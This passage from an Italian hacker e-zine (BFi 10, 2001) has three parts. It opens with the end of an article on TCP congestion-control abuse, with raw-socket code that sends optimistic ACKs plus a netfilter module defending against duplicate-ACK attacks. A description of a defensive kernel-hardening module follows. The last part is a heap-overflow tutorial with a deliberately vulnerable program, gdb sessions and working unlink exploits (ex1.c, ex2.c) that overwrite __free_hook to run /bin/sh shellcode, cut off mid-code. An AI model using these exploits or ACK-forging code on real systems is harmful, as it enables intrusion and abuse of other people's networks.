if(!chk) continue; printf(" %u", chk); if(chk ==inc) { if(++i ==wa) ssoa(ip, tcp, ntohs(ip->tot_len), inc); } else { printf("\n %d packet's size check after %d " "reset for %d byte\n" ,inc, i +1, chk); inc =chk; i =0x0000; } l_ack =tcp->ack_seq; } } } void ssoa(void *pkt, struct tcphdr *x, size_t len, int size) { int k =0x0000; printf("\n guessed packets len [%d]\n sending ACKs: ", size); while(k != ns) { x->ack_seq +=htonl(size* ++k); /* rotfl, kernel fix my tcp checksum because here is bad */ x->check =sum((unsigned short *)x, sizeof(struct tcphdr)); /* pseudo header s000ka */ printf("."); if(sendto(ss, pkt, len, 0x0000, &sin, sizeof(sin)) ==-1) err(errno, "error on sending ack packet"); } printf(" done.\n"); exit(EXIT_SUCCESS); } unsigned short sum(unsigned short *hdr, int nw) { unsigned long ret =0x0000; while(nw > 0) { ret += *hdr++; nw -= 2; } ret = (ret >> 16) + (ret & 0xffff); ret += (ret >> 16); return ~(ret); } <-X-> sebbene gli ACKs relativi a pacchetti non ancora inviati vengano scartati al volo dal kernel, quando abbiamo fatto i test abbiamo usato 4 e 6 e poi 3 e 6 come ultimi 2 valori, ovvero... la grandezza del pacchetto veniva guessata con 6 check (quindi 6 pacchetti di fila dovevano aver la stessa grandezza) e una volta decisa si sarebbero inviati prima 4 e poi 3 ACKs di notifica anticipata (pur sapendo che non tutti sarebbero serviti, ma abbondare e` meglio che deficere...) nei test fatti con aoo la velocita` della connessione da 4.5k era passata a 7.5k :) -- S I T U A Z I O N I V U L N E R A B I L I -- con oaa e ldaa non avete in mano del codice magico che portera` i vostri download a 15k al secondo su un modem 14.4 :) questi attacchi funzionano in quelle situazioni in cui NON tutta la banda su tutto il tracciato del trasferimento viene utilizzato e la velocita` e` regolata dall'host sender, ovvero... se stiamo scaricando a 3k al secondo e siamo collegati con aruba, la stessa aruba che ha un lag a "onde" per ovvi problemi al router, la velocita` di quel download non potra` mai aumentare xke` non dipende tanto dall'host che invia, quanto dall'host che riceve, se noi mandiamo + ack in risposta facendo aumentare... i pacchetti inviati si fermeranno al router in attesa insieme a tutti gli altri, il nostro download non sara` velocizzato (il ritardo e` nello smistamento nell'ultimo o nel penultimo hop in questo caso) e anzi, se insisteremo con il forzare il server a mandarci pacchetti + in fretta e` facile che il router nostro se ne accorga e gli notifichi la congestione con uno dei 3 metodi possibili: in questo caso un icmp di source quench in net/ipv4/tcp_input.c tra i commenti di una funzione... * "CWR" CWND was reduced due to some Congestion Notification event. * It can be ECN, ICMP source quench, local device congestion. ovvero: 1) ECN = Explicit Congestion Notification, settato con uno dei flag inutilizzati dal TCP; 2) ICMP source quench = icmp di errore specificatamente creato per notificare un'eccessiva velocita` di ricezione; 3) local device congestion = la scheda di rete o il modem che non ci sta` + dietro :) questo attacco puo` andare in situazioni in cui la banda non e` utilizzata del tutto, O e` utilizzata quasi al limite del server attaccato facendogli rallentare le altre connessioni e favorendo la nostra. i test che ho fatto erano nelle seguenti condizioni: - 5 di mattina, quindi un traffico irrisorio sui router - io da un modem 56k inviavo - l'attacco veniva portato da una adsl che scaricava ed e` funzionato sia xke` non viene utilzzata tutta la banda in upload, sia xke` una adsl ha molta + banda di me e quindi poteva reggere un trasferimento accellerato. nel caso ci fosse in mezzo qualche traffic shaper il sw non funzionerebbe (xke` il tc farebbe il suo lavoro) e nel caso il tc fosse sulla macchina attaccata non andrebbe ugualmente xke` il tc lavora a un altro livello e in modo indipendente. probabilmente anche nel caso di firewall statefull entrambi gli attacchi potrebbero essere limitati, nel caso di oaa solo che il fw l'abbiamo noi davanti, se l'host remoto riceve i pkt anticipati li accetta cmq (anche se le varie opzioni di debug possono far notare ACKs anticipati o troppi duplicati). -- F I X -- come dicevo, dal documento originale si legge: "questo problema non puo` essere patchato xke` intrinseco nel protocollo TCP stesso, andrebbe aggiungo un campo TCP addizionale che utilizzi dei numeri di sequenza univoci e random, chiamato "nonce": questo campo nonce sarebbe creato in modo univoco e random dal sender (quando invia il PUSH) e sarebbe riportato poi nell'ACK di risposta". questo campo "nonce" vedrebbe il suo funzionamento sia per fixare il dup ack spoofing (xke` una volta ricevuto un pkt con nonce tutti gli altri uguali verrebbero scartati) e l'optimistic acking attack, xke` non potrebbe essere predetto. io onestamente non capisco come mai si debba complicarsi cosi` la vita, forse xke` prima ancora di arrivare alle soluzioni proposte avevo gia` "visto" come poter fixare questi attacchi... [ anti dup ack attack ] tenedo conto dei campi tcp 'window' 'ack_seq' e 'seq' e di ip 'id' creare un piccolo array in cui mettere gli ultimi N ack ricevuti in modo da poter verificare l'arrivo di un duplicato. i duplicati vengono accettati xke` causati da errori di rete, quindi niente di male, ma essendo figli di errori, perche` non scartarli? anziche` memorizzare quei 4 campi per un totale di 96byte, basta fare un hash di seq + ack_seq + una variabile a 32 bit i cui primi 16 sono l'id, i secondi sono la window size. l'hash e` fatto semplicemente con un XOR dei 3 valori, in questo modo si avra` un'allocazione perenne di kernel memory di 4 byte per il numero di ack di cui viene tenuta traccia. l'ho sviluppato con un modulo x netfilter che aggiunge un hook che checka gli ack in arrivo alla macchina locale. <-| congestion/adaa.c |-> #define __KERNEL__ #define MODULE #include #include #include #include #include #include #include #include #include #include #include #include #include #define ACK_QUEUE_LEN 8 #define tcpseq h.th->seq #define tcpackseq h.th->ack_seq #define tcpwin h.th->window #define ipid nh.iph->id static struct nf_hook_ops ack_hook; static unsigned int ack_seq_ack[ACK_QUEUE_LEN]; static unsigned int make_unique_unsigned(struct sk_buff *); static unsigned int ack_adaa( unsigned int hooknum, struct sk_buff **skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *)) { static unsigned int target; register unsigned int i, check; if((*skb)->nh.iph->protocol !=IPPROTO_TCP) return NF_ACCEPT; if((*skb)->h.th->ack && !(*skb)->h.th->syn && !(*skb)->h.th->rst) return NF_ACCEPT; check =make_unique_unsigned(*skb); for(i =0x0000; i !=ACK_QUEUE_LEN; i++) if(ack_seq_ack[i] ==check) return NF_DROP; ack_seq_ack[target] =check; if(target ==ACK_QUEUE_LEN -1) target =0x0000; else target++; return NF_ACCEPT; } int init_module(void) { int ret; ack_hook.list.next =NULL; ack_hook.list.prev =NULL; ack_hook.pf =PF_INET; ack_hook.hook =ack_adaa; ack_hook.hooknum =NF_IP_LOCAL_IN; printk(KERN_INFO "mod for fix dup ack attack - by vecna@s0ftpj.org\n"); if(ret =nf_register_hook(&ack_hook)) printk(KERN_INFO "unable to add ack_hook on input flow\n"); return ret; } void cleanup_module(void) { nf_unregister_hook(&ack_hook); printk(KERN_INFO "unloading anti dup ack attack module\n"); } static unsigned int make_unique_unsigned(struct sk_buff *skb) { unsigned int intermediate; memcpy(&intermediate, &skb->ipid, 2); memcpy(((char *)&intermediate +2), &skb->tcpwin, 2); return (skb->tcpseq ^ skb->tcpackseq ^ intermediate); } <-X-> [ optimistic acking attack patch ] il problema e` che l'attacco non e` fatto da ACK di pacchetti NON ancora inviati, ma solo di pacchetti non ancora ricevuti, il grafichetto nel documento originale fa` tristemente capire meglio, c'e` un motivo se quello e` .pdf o .ps, BFi e` un file di testo quindi niente immagine :). il punto saliente e` che azzeccare un ack durante la slow start significa far aumentare il numero di pacchetti e la congestion window di una velocita` impressionante se si considera che l'ack arriva appena dopo l'invio del dato, lo stack remoto notera` immeditamente che la risposta e` arrivata con un RTT decisamente + basso e questo influenzera` la nostra connessione in modo eccezionale :) tutto questo non e` molto chiaro, ma mette in luce che nulla si puo` fare se non fare un fix simile a quello usato tempo fa` per l'ip spoofing, noi anziche` mettere un campo random come proposto (il "nonce") faremo variare di poco e in modo random la window size, in modo che non sara` possibile predirre la grandezza del dato trasmesso, e notifiche inferiori a quella esatta non verranno accettate xke` come fix dell'ack division non si accettano notifiche divise, e ack di un numero di dati superiore non puo` essere accettato xke` si parla di notifica di dati non ancora inviati. problemi e possibili attacchi? la perdita di performance e` assente, ma, se come delta di variamento teniamo 8 byte in + o in -, il receiver per predirlo dovra` inviare 16 ACKs di cui 15 errati e uno giusto: questo non e` bello xke` cmq un attacker con una banda in upload garantita e separata da quella in download (tipo adsl) potrebbe inviare i 16 ack possibili, per ovviare a questo basterebbe far rallentare il download nel caso vengano ricevuti ACKs errati, come una sorta di "punizione" :), ma penso sia inutile, si potrebbe aumentare la variazione possibile della window di 10 byte in + o in - (la window non e` mica detto che debba essere fissa, e` a discrezione del sender ed essa cambia in relazione agli algoritmi di congestione ... basta che noi cosi` facendo inseriamo un poco di entropia dentro quei calcoli in modo da tener il risultato pressoche` simile, ma difficilmente predicibile) il codice? purtroppo l'interesse per altre cose ha preso il sopravvento e soprattuto la settimana di esami prima dell'hackit, quindi non posso fornire alcun codice dimostrativo della patch. probabilmente si puo` dirottare una delle funzioni (senza simbolo esportato, quindi riferendosi al paper di Silvio Cesare "internal function kernel hijacking" o un nome simile reperibile a http://www.big.net.au/~silvio ) dove si calcola l'Effective Window da utilizzare e variare il suo valore con un delta di ~ 20 byte verificando che non superi l'SMSS; per il valore random basta riferirsi alle kernel API implementate in ~linux/drivers/char/random.c -- T E S T I E D O C U M E N T I U T I L I -- TCP Congestion Control with a Misbehaving Receiver Stefan Savage, Neal Cardwell, David Wetherall, Tom Anderson rfc2581 M. Allman, NASA Glenn/Sterling Software, ACIRI/ICSI, W. Stevens (si`, Lui :) /usr/src/linux/include/linux/netfilter* EXCEL SAGA - martedi` sera Mtv ore 22:00 rfc793 - Comer, non ricordo dettagli, ma lei e la 791 sono utili da conoscere se vi interessate di queste cose. -- S A L U T I T N X N O T E C A S U A L I E B O H -- per fornire distrazioni sempre nuove :) e per molte altre cose... hotuna n0l1fe smaster naif vodka l0rdo smav [-_-] naylon raptor awgn fusys noteof cavallo raist_xol del0 brigante per il supporto tecnico: gcc, vi, tcpdump, man, links, acrobat reader, grep per essere tale: picula QUESTO ARTICOLO non e` particolarmente tecnico xke` speravo di renderlo comprensibile a + o - tutti, per chi fosse interessato ad approfondire gli studi sugli algortitmi che controllano la congesione oltre all'RFC potrebbe guardare su http://www.mkp.com/index.html dove si trova un guida sul networking e alcune pagine che spiegano il funzionamento degli algortimi della congestione, questo e` sicuramente meno dettagliato dell'rfc, ma tra questo articolo e quell'introduzione la lettura dell' rfc sara` + digeribile. saluto i tutor dell'aula 101 dell'unimi.it che un giorno sentendomi parlare con un altro mi dissero: "ma che dici va`?? non puoi aumentare la velocita` di un download hahahaha!" eeeeeehhhhh..... sia lodato il TCP :) e` tutto fuorche` tutto, xke` spulciando bene l'rfc si puo` trovare altro. [cip] vecna - vecna@s0ftpj.org - 14/05/2001, ma qualcuno ha detto md5 ? [$id] vecna - vecna@s0ftpj.org - 21/05/2001, il naviglio verso la cina. ============================================================================== --------------------------------[ EOF 8/18 ]--------------------------------- ============================================================================== BFi-10/BFi10-090100644000175000017500000001465607355704712012653 0ustar smastersmaster============================================================================== -----------[ BFi numero 10, anno 4 - 30/09/2001 - file 9 di 18 ]-------------- ============================================================================== -[ HACKiNG ]------------------------------------------------------------------ ---[ ELE0N0RA v0.2 -----[ Tharkas - http://tharkas.mascanc.net Eleonora 0.2 Ovvero l'ennesimo modulo atto a limitare la liberta` di espressione e di divertimento degli utenti maliziosi. Di Tharkas (tharkas@tiscalinet.it) ATTENZIONE: L'autore dell'articolo e del programma Eleonora non si assume alcuna responsabilita` per i danni che uno scorretto uso degli stessi potrebbero provocare al vostro computer. Non si assume nemmeno responsabilita` per i danni che potrebbero provocare se usati correttamente, del resto. =) Un salutone con tanto di bacio con lingua a: La persona che porta il nome del programma.. :) Un mega insulto a: il suo ragazzo.... El33t qu0t3: "Se vorrei potrei imparare il C in un giorno." "Impara l'italiano prima, potrebbe esserti piu` utile." Credits sparsi: - RageMan, lemming- & gli altri: Uh.. Ciao. - ARS3N1C0: Hai detto che ci tenevi.. - Joy: Felice pargolo! - vecna e Raistlin: vi siete sorbiti le 7 (sette!) versioni del mio programma in pochi giorni, ognuna differente dall'altra solo per un bugfix o un'aggiunta stupida.. Dovrebbero farvi santi. 1. DISCLAIMER 2. SALUTINI DELLA MINCHIA 3. DESCRIZIONE DEL PROGRAMMA 4. FEATURES 5. AVVERTIMENTO MOLTO IMPORTANTE 6. INSTALLAZIONE 7. CONFIGURAZIONE 8. MA BASTA QUESTO ? 9. CONCLUSIONI 10. AGGIORNAMENTO POSTUMO 3. DESCRIZIONE DEL PROGRAMMA Eleonora e` un kit atto ad impedire che gli utenti del sistema si prendano... Diciamo, "troppe liberta`". E` completamente modulare, quindi potrete facilmente liberarvene quando non lo vorrete nemmeno piu` vedere. Descrivero` le features implementate nel prossimo paragrafo, per ora vi basti sapere che quando la versione accando al nome del programma non sara` 0.2, ma sara` magari 1.0, gli utenti maliziosi potranno veramente attaccarsi al tram e tirare. 4. FEATURES Ognuna delle caratteristiche che andro` a descrivere e` attivabile e disattivabile a piacimento (vedi paragrafo CONFIGURAZIONE). Locked_files = I file con owner root, group root e permessi settati a 0 (chmod 0 file) non possono essere usati da nessuno, nemmeno dal root. Deny_vcss = Se attivato, l'unica /dev/vcs* e /dev/vcsa* accessibile sara` la propria. Per tutti. (Vedere ad esempio il sorgente sinto.c by vecna se non si e` capito niente di quello che ho detto). Deny_ttys = Idem come sopra, ma con le tty. Questo e` disabilitato di default perche` accedere ad altre tty serve, ad esempio, per i vari bcast message di shutdown o per il comando write(1). Remote_root = Se attivato impedisce un setuid(0) e un setgid(0) (praticamente, settarsi superuser) tranne che alle tty scritte nel file di configurazione /etc/Eleonora/tty.allow . Il formato e` questo: in pratica dovete scrivere i tty_name dei gruppi che volete far entrare (es. /dev/tty), su righe incolonnate. Id_redirect = Gli utenti che si trovano nella situazione di cui sopra (Remote_root), vengono assegnati all'id e al gid settati qui. Restricted_socket_use = Arriviamo a livelli assolutamente paranoici. Solo chi ha id minore o uguale a quella fissata nella prossima opzione puo` usare i socket. Minimum ID = Gia` spiegata. No_binding = NESSUNO puo` eseguire una chiamata a bind(2) e avere successo. No_daemons_shell = Impedisce ai processi che hanno un socket connesso in qualche modo (anche come client) di eseguire /bin/sh. Security_level = Se e` 0, il superuser puo` rmmodare Eleonora. Se e 1, non lo puo` fare nemmeno Gesu`. Logging = Scrive nel file /etc/Eleonora/ele.log . Deny_insmod = Impedisce che vengano caricati altri moduli... E` per evitare che vengano aggiunte altre 'teste di ponte'. Save = Si spiega da solo.. E` necessario farlo, chiaramente. Exit = Ma a che mai servira`... Load_Defaults = Serve a caricare i valori di default per le opzioni. 5. AVVERTIMENTO MOLTO IMPORTANTE Per utilizzare tutte le opzioni che limitano i comandi degli utenti, DOVETE ASSOLUTAMENTE SAPERE COSA DIAVOLO STATE FACENDO! Molte opzioni potrebbero risultare fatali per la salute di un computer, se le si usa sconsideratamente! In particolare, se si usa l'opzione "Livello di sicurezza 1" NON E' POSSIBILE RMMODARE Eleonora, a meno di riavviare il computer. 6. INSTALLAZIONE Lair:~/Eleonora# make make Eleonora make[1]: Entering directory `/root/Eleonora' gcc -c -O6 -I/usr/src/linux/include Eleonora.c make[1]: Leaving directory `/root/Eleonora' make configure make[1]: Entering directory `/root/Eleonora' gcc -o configure configure.c make[1]: Leaving directory `/root/Eleonora' Lair:~/Eleonora# make install mkdir /etc/Eleonora touch /etc/Eleonora/ele.log touch /etc/Eleonora/tty.allow cp Eleonora.o /etc/Eleonora/ cp configure /usr/bin/ele-conf Piu` semplice di cos` si muore. 7. CONFIGURAZIONE Fate partire ele-conf e destreggiatevi tra le opzioni descritte nel paragrafo 4. Ricordatevi di salvare =) Poi dovrete solo insmodare Eleonora (o farlo insmodare al boot). Se posso permettermi un consiglio, se dovete gestire un server (e quindi avete intenzione di far partire in automatico Eleonora al boot), lasciatelo come ultimo programma, cosi` i demoni possano partire senza problemi, e quando sul sistema non si fa partire piu` nulla, Eleonora cerchera` di garantire la sicurezza. 8. MA BASTA QUESTO ? No. Un sistema che si basa su un unico modulo per la sicurezza, rimane comunque tranquillamente 'bucabile'. Eleonora e` uno _STRUMENTO_ che puo` aiutare verso la ricerca della sicurezza, non la panacea di tutti i mali. Cercate, nei limiti del possibile, di ricompilare il software con compilatori anti-buffer overflow, e di aggiornare di frequente i demoni. 9. CONCLUSIONI Io ho finito, mi augro che il mio programmino possa esservi d'aiuto. 10. AGGIORNAMENTO POSTUMO Ho rivisto il sorgente del programma in modo da adeguarlo per il kernel 2.4.x... Grazie vecna per avermi fatto notare la mancanza =) Buon divertimento, - Tharkas (tharkas@tiscalinet.it) [NDR: i file del progetto sono in attachment/Eleonora0.2.tar.gz ] ============================================================================== ---------------------------------[ EOF 9/18 ]-------------------------------- ============================================================================== BFi-10/BFi10-100100644000175000017500000003647607355704712012647 0ustar smastersmaster============================================================================== -----------[ BFi numero 10, anno 4 - 30/09/2001 - file 10 di 18 ]------------- ============================================================================== -[ HACKING ]------------------------------------------------------------------ ---[ SPL0iTTARE GLi 0VERFL0W NELL'HEAP S0VRASCRiVEND0 LE STRUCT -----[ |CyRaX| - http://www.pkcrew.org Greets: tutti i pkc, nobody88, b_berry, bikappa, smav, vecna, fusys, marra e tutti gli altri KOTD (kazzata of the day): minkiaaa !!!! domani e' san valentino. Uhmmm mi regalero' un paio di guanti PREMESSA: questa tecnica non e' stata scoperta da me. da quel ke no so e' stata usata per la prima volta nell'exploit per il traceroute.. e poi in seguito nell'exploit dello slocate. (in quei casi non si trattava propriamente di un overflow.. ma comunque si potevano sovrascrivere le struct). In ogni caso in giro non si trovano ankora dei tutorial completi sull'argomento. Personalmente ho imparato leggendo le advisory di MasterSecurity (ke cmq davano una spiegazione un po' troppo relativa al programma in particolare.. ke in generale) e bestemmiandoci sopra. In questo articolo troverete anke delle mie aggiunte (come ad esempio l'uso dei jump al posto dei nop). Allora. In questo articolo cerchero' di spiegarvi come exploittare gli overflow di buffer ke non si trovano nello stack, bensi' nell'heap. L'heap e' quella zona di memoria di un processo dove si trovano i buffer allocati dinamicamente con la malloc(). Beh, qual e' la differenza con i normali overflow nello stack ? semplice.. nell'heap non ci sono indirizzi di ritorno ke potete cerkare di sovrascrivere. Nella maggior parte delle implementazioni della malloc() si trovano pero' tra un buffer e l'altro delle strutture ke servono alle funzioncine ke agiscono sull'heap a sapere le dimensioni dei vari buffer. Vediamo intanto un esempio di programma vulnerabile : <-| heap-bof/vuln1.c |-> #include #include int main(int argc,char **argv){ char *buf1,*buf2; buf1=malloc(1000); buf2=malloc(100); strcpy(buf1,argv[1]); free(buf1); free(buf2); } <-X-> Come vedete allochiamo due buffer.. e possiamo overfloware il primo passando + di 1000 byte all'argomento del programma. Proviamo : c500:~/bfi$ gdb vuln1 GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i686-pc-linux-gnu"... (gdb) run `perl -e "print 'A' x 1020"` Starting program: /home/cyrax/bfi/vuln1 `perl -e "print 'A' x 1020"` warning: Unable to find dynamic linker breakpoint function. GDB will be unable to debug shared library initializers and track explicitly loaded dynamic code. Program received signal SIGSEGV, Segmentation fault. 0x40071361 in free () from /lib/libc.so.6 (gdb) Tadaa.. segfault della free(). Questo xke' abbiamo sovrascritto la struttura ke si trova prima di buf2.. riempiendo di A il suo campo size. Guardiamo ora come e' fatta questa struttura: struct malloc_chunk{ unsigned int ps; /* Previous size */ unsigned int sz; /* size */ struct malloc_chunk *fd; /* puntatore alla prossima struttura */ struct malloc_chunk *bk; /* puntatore alla struttura precedente */ }; Questa struttura puo' essere usata per identificare due tipi di chunk. Quelli usati e quelli liberi. Nel caso la struttura rappresenti un chunk usato contiene solo il campo size. Ke e' posizionato esattamente 4 byte prima del buffer restituitoci dalla malloc. Per farvi capire meglio ekkovi due righe di codice ke allocano un buffer e ci mostrano il suo campo size. <-| heap-bof/sz.c |-> #include #include int main(int argc,char **argv){ char *buf; unsigned int sz; buf=(char *)malloc(100); sz=*(buf-4); printf("il mio campo size e' settato a %i\n",sz); } <-X-> eseguiamolo : c500:~/bfi$ ./sz il mio campo size e' settato a 105 c500:~/bfi$ Come vedete solitamente viene settato nel campo size la quantita' di memoria ke rikiediamo + 5. (questo xke' una parte della size e' tenuta per la struttura) La struttura malloc_chunk puo' essere utilizzata anke per indicare un chunk libero. In tal caso : a) il campo size e' settato a 0 (o un equivalente 0xffffffff) b) il campo prev_size e' uguale alla dimensione del chunk precedente (non ci importa molto.. ci basta sapere ke questo non dobbiamo settarlo a 0) c) il campo bk contiene l'indirizzo della struttura malloc_chunk ke indica un chunk libero precedente d) il campo fd contiene l'indirizzo della struttura malloc_chunk ke indica un chunk libero successivo. Bene.. quando prima abbiamo overflowato buf1 abbiamo colpito la struttura malloc_chunk di buf2 (ke si trova subito prima). Quella struttura indica un chunk utilizzato.. e quindi contiene il solo campo size, ma grazie all'overflow possiamo trasformarla in una struttura per un chunk libero. A cosa puo' servirci tutto cio' ? Dando un'okkiata al codice della free() nelle glibc.. notiamo ke su un chunk libero viene usata la macro unlink() : #define unlink(P, BK, FD) \ { \ BK = P->bk; \ FD = P->fd; \ FD->bk = BK; \ BK->fd = FD; \ } Allora.. ragioniamoci. Alla unlink vengono passati P: la struttura ke deve essere slinkata BK e FD: questi vengono usati dalla unlink per segnarsi alkuni indirizzi.. non dobbiamo passargli nulla. Cosa fa questa unlink ? - allora.. si segna in BK l'indirizzo puntato dal campo bk della struttura da slinkare. - si segna in FD l'indirizzo puntato dal campo fd della struttura da slinkare - scrive nel campo bk della struttura puntata da FD l'indirizzo puntato dal campo bk della struttura da slinkare - scrive nel campo fd della struttura puntata da BK l'indirizzo puntato dal campo fd della struttura da slinkare.. Non ci avete capito una pippa ? Provo a spiegarmi n'attimo meglio.. Come spero avrete capito le strutture ke indicano chunk liberi sono linkate tra di loro in una lista circolare. Questo significa ke ogni struttura contiene un puntatore alla struttura ke si trova prima e dopo di essa. La unlink non fa ke eliminare una struttura da questo cerchio. Prima di poter rimuovere di brutto una struttura da un lista circolare.. dobbiamo fare in modo ke l'elemento ke si trova dopo la struttura da eliminare riconosca come elemento precedente quello ke si trova prima della struttura da eliminare... e fare in modo ke quello ke si trovi prima riconosca come struttura successiva quella ke si trova dopo. (scusate il casino... ho perso il vocabolario dei sinonimi e dei contrari) Non avete capito ankora cosa fa l'unlink() ?!?!?! Alloraaa... ci sono recidjvo, cyrax e asynchro ke fanno il trenino... a cyrax duole il culetto e vuole unlinkarsi! Ke fa allora ? - Dice a recidivo "Ue'.. mi sono rotto.. ora ti inkuli asynchro". - Dice ad asynchro "Ora ti fai inkulare da recidjvo" Fatto questo puo' andarsene.. e il trenino e' ankora funzionante :) Bene bene.. se siete arrivati qui dovreste riuscire ad arrivare anke in fondo :) Come vi ho detto prima.. possiamo creare una struttura indicante un chunk libero al posto di un altra struttura ke andiamo a sovrascrivere.. e fare in modo ke la successiva free() ci esegua una unlink. Bene.. potendo controllare i puntatori fd e bk della struttura.. possiamo far scrivere alla unlink() cio' ke vogliamo in memoria. Prima di procedere.. dobbiamo trovare un bersaglio. Nei format bug o negli overflow di stack si usano solitamente gli indirizzi di ritorno di qualke funzione. In questo caso ci conviene usare invece un puntatore a funzione chiamato __free_hook. All'avvio del programma contiene NULL. Ogni volta ke la funzione free() viene eseguita controlla se il __free_hook e' diverso da NULL e in tal caso esegue la funzione da lui puntata al posto di proseguire. Lo scopo di questo puntatore e' dare la possibilita' agli utenti di usare una proprio implementazione di free(). (c'e' un hook per ogni funzione ke gestisce l'heap quindi anke __malloc_hook e __realloc_hook) Ecco come prendere il suo indirizzo: c500:~/bfi$ gdb vuln1 [..] (gdb) break main Breakpoint 1 at 0x8048422 (gdb) run Breakpoint 1, 0x8048422 in main () (gdb) x &__free_hook 0x400fc994 <__free_hook>: 0x00000000 Bene.. la free_hook sta a 0x400fc994 Dobbiamo procurarci poi l'indirizzo del buffer con cui andiamo a fare l'overflow. Il nostro scopo finale sara' scrivere nel __free_hook il suo indirizzo. Ovviamente in quel buffer piazzeremo un bello shellcode pronto a darci accesso :) Allora.. ekko come deve diventare la struttura di buf2: previous_size : 0xfffffffe size : 0xffffffff forward : back : -8 allora.. prev_size lo mettiamo a qualsiasi cosa diversa da 0 size lo mettiamo a 0xffffffff.. questo per fare in modo ke la struttura rappresenti un chunk libero. in back mettiamo l'indirizzo del free_hook -8. Xke' proprio -8 ? La unlink trattera' l'indirizzo ke mettiamo in back come una struttura e mettera' nel campo fd quello ke noi mettiamo nel campo forward della nostra. (l'indirizzo dello shellcode). Beh.. noi vogliamo ke l'indirizzo dello shellcode capiti giusto all'indirizzo del free_hook. Prima del campo fd in una struttura ci sono 8 byte (4 di prev_size e 4 di size). Quindi sottraendo 8 __free_hook e fd combacieranno perfettamente... in forward mettiamo ovviamente l'indirizzo dello shellcode.... Bene.. ci siamo quasi (tutti in coro: era oraaa) Manca un ultima considerazione sullo shellcode. La unlink trattera' lo shellcode come una struttura... e modifikera' il suo campo back mettendoci l'indirizzo della __free_hook. Ovviamente noi non vogliamo ke questo indirizzo sovrascriva alkune istruzioni importanti dello shellcode con qualke istruzione illegale. Per ovviare al problema bastera' fare una piccola modifica agli shellcode tradizionali.. aggiungendo un semplice : "\xeb\x0f\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" all'inizio.. questa riga fa in modo ke il programma salti la parte ke viene sovrascritta dalla unlink(); E oraaaa... si comincia a sploitttare vuln1.c :)) abbiamo gia' stabilito ke l'indirizzo della free_hook e' 0x400fc994 ora troviamo l'indirizzo del buffer: come fare ? beh.. disassembliamo la main e brekkiamo subito dopo la malloc() poi guardiamo i registri e in %eax troveremo cio' ke la malloc ha restituito (il nostro bufferone :) (gdb) disassemble main Dump of assembler code for function main: 0x804841c
: push %ebp 0x804841d : mov %esp,%ebp 0x804841f : sub $0x8,%esp 0x8048422 : push $0x3e8 0x8048427 : call 0x8048330 0x804842c : add $0x4,%esp 0x804842f : mov %eax,%eax [...] (gdb) break *0x804842c Breakpoint 1 at 0x804842c (gdb) run Breakpoint 1, 0x804842c in main () (gdb) info registers eax 0x8049760 134518624 ecx 0x400fc520 1074775328 edx 0x4b9 1209 [...] Bene bene.. 0x8049760 e' l'indirizzo di buf1. perfetto.. ora calcoliamo un po' dove dovremo cominciare a scrivere il chunk... allora.. vengono allocati 1000 byte dopo i quali cominciera' la struct riempiremo il nostro buffer di 1000 byte di roba (tra cui lo shellcode) dopodike' copieremo la struttura ke avremo costruito.. la prima free() kiamata andra' quindi a scrivere cio' ke vogliamo nel free_hook.. e la free() successiva eseguira' lo shellcode.. lo shellcode non lo posizioniamo all'inizio del buffer.. xke' la free() potrebbe sovrascrivere altri pezzi importanti.. ci basta spostarlo 20 byte piu' in la xke' funzioni ed ekkovelo qui.. l'ho provato sulla mia slakka 7.0.. al 99% sulla vostra box non funzionera' :P (ma bastera' cambiargli l'indirizzo del freehook e del buffer) <-| heap-bof/ex1.c |-> #include #include #define FREE_HOOK 0x400fc994 #define BUFF 0x8049760 char shellcode[] = "\xeb\x0f\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main(int argc,char **argv){ char buff[1100]; char *ex[5]; struct malloc_chunk{ unsigned int ps; unsigned int sz; struct malloc_chunk *fd; struct malloc_chunk *bk; } mc; mc.ps=0xfffffffe; mc.sz=0xffffffff; mc.bk=FREE_HOOK-8; mc.fd=BUFF+20; memset(buff,'A',1000); memcpy(buff+20,shellcode,sizeof(shellcode)-1); memcpy(buff+1000,&mc,sizeof(mc)); buff[1000+sizeof(mc)]=0; ex[0]="./vuln1"; ex[1]=buff; ex[2]=NULL; execv(ex[0],ex); } <-X-> Ma non e' finita qua ! :) Come avrete notato.. per esploittare tutto cio' dobbiamo indovinare come minimo due variabili. Il free_hook e l'indirizzo dello shellcode. Perke' non possiamo usare i nop come tutti i normali stack overflow ?! Beh... la unlink() "sporca" qualke byte dopo quelli ke gli passiamo.. quindi anke se centrassimo un nop il programma scorrerebbe fino a bekkare un illegal instruction. Possiamo comunque ovviare al problema usando dei "\eb\x0f" al posto dei nop. Questa istruzione (ke abbiamo anke aggiunto prima allo shellcode) non fa ke saltare 0xf byte piu' avanti. Riempiendolo di questi jump.. nel caso ke il programma salti su uno di essi andrebbe avanti fino ad atterrare sui nop prima dello shellcode. Ed ekkovi ex2.c ke utilizza questa tecnica :) <-| heap-bof/ex2.c |-> #include #include #define FREE_HOOK 0x400fc994 #define BUFF 0x8049760 char shellcode[] = "\xeb\x0f\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main(int argc,char **argv){ char buff[1100]; char *ex[5]; struct malloc_chunk{ unsigned int ps; unsigned int sz; struct malloc_chunk *fd; struct malloc_chunk *bk; } mc; int i; mc.ps=0xfffffffe; mc.sz=0xffffffff; mc.bk=FREE_HOOK-8; mc.fd=BUFF+400; memset(buff,'A',1100); for(i=0;i<900;i+=2) memcpy(buff+i,"\xeb\x0f",2); 